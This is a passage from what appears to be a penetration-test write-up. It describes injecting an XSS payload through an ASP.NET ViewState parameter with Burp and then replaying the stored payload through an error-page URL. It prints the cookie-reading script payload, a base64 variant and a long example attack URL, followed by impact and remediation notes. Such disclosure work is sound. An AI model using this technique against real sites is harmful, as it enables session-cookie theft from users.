to __VIEWSTATE=<scripts>alert(document.cookie)</script> the intercepted request

Also the XSS Payload <scripts>alert(document.cookie)</script> can be converted to base 64 Jmx0O3NjcmlwdHMmZ3Q7YWxlcnQoZG9jdW1lbnQuY29va2llKSZsdDsvc2NyaXB0Jmd0Ow==

3. now forward the request using burp web proxy

4. the javascript payload will execute on the client side as there the decoding of the base 64 value in viewstate parameter is not properly decoded on the server side therefore the malicious XSS payload will not be sanitized on the server side and if there is no HTTP only cookie attribute is implemented so the attacker can get all the authentication session cookies of the victim.

5. using the web proxy burp we were able to inject the XSS payload and it also executed successfully after modifying and forwarding the intercept request but the interesting thing is that this payload was successfully executed using the vulnerable Viewstate parameter then this payload actually got stored in the server side and the XSS vulnerable page redirected to an error webpage with a different Url, then we copied and opened this Error page Url in another browser. As the XSS payload is stored on the server side so this XSS payload got executed again and again. So, the same attack can now be done without any web proxy like burp as the malicious XSS payload is stored on the server side and that can be reused using the error page Url which was generated after the execution of malicious XSS payload using the web proxy burp.

Malicious Url with Stored XSS Payload:

https://vulnerablesite.com/Error.aspx?parameter=vKJp31W6plKC1+MfxM3z/K6F3rbyiQeRCXHy/YbkgoBg94PMC17/UXcJIpNI9B4syvRRcsKLAdRrV3GAD9FdNYPMbeGuWK4d+PxU2rrWZJ3B8Szg283u9f71W7gw6CmRUfNG0ixyGFVsvsDAx8UEHVZ6LEfXo49SclUuUOruiHmdF99v7PtOAwd4aGDBSTB3dQX3DfgxZSr3Oiwkuf627ni0IWPU74Fqo0XTyJSXLT18H56LNeoG2F8G3CqsofnbJaMZnYD4Evu445EMpAJQZ+R9n0JV0uXHLVfh+ERAl+snQMi+CgAvv6YPWl5ygPJ45s+NLdKZXH8lkhlx2CM33dCi2AbBwci3yOAHpOFakr+Qa0V5WV8hA/b5gFcWK5WN3h0qD4zq+YqCPfMb+3V1jd86+yD5MGYLfsgUv7X8KZ8obDVRIFslWrXApYF7Nz1lDOC8PkLmulHs193yLchYDKM/Ie2uckvLGxcKflcY3RfTiQMLIDb99Z2Yp3F84VT3t0PqVa6hu37pvSj1ROuRRHsQLDCAnIizlVvfffaDfnhkLwMG5HSqac9bwp5yZX2MeZ07AIe64a/TZwcvicZsMZlI/jJ8Ul8CMIjGbihGO93E/53tnqAjHkk0Lv2jAjrsK83Q+m0yeJnvT5S3dQkVvqccfsO9DZk/i3I4vAB9y9qYCo4j3JzzAeMoydbQ20JOugn0BXPGyYtxPkih4qkYLwMjB2Yltoxj24hOCez9cGelxFI1S8iO0lnNEdasKWpFE1cE3dUcJf5SeJR/tgkAR0kU+M0Vby7SWG+Umu/8/PVXyd4BqXtJJqfi5nz2Eh94o5/kZoPjGHWDvGNuzLVCqloL3qgIxva+EqjHUzk7U17DFa34HxhcvGLUzNNzYnJhll/n4Ao1BhrTv2dIhuyeZXjEuwbA0S6YN13s3/9p6GyEvraIVSBSIPZtxXcfU/PLP4YUehqr/6R3/PWh5So4y4DlvyMepPeVd0OLnvDq+OJ3BbqhUxSDZRlJhQA3sedE+YsJ9lQFUKLUb2fBqLqyKzMDwikf0tmB5q/BOEOi5GEW+IaYVhSXJXJxtoTcpHY21ovviuZp85cXYCUqqbp044uCLMQqtqZtyxyGkL/BVY7+9pjiQrr+g8OBhpNjLfthkWVoptz/WcoRVHY7X5wZBp==

Impact:

Client-side code (like JavaScript) can be injected into the web application which is then returned to the user's browser. This can lead to a compromise of the client's system or serve as a pivoting point for other attacks.)

Recommendation:

User inputs must be validated and filtered before being returned as part of the HTML code of a page. Don't rely on this security mechanism to protect against Cross-Site Scripting and SQL injection attacks. Make sure that proper input validation is built into web applications.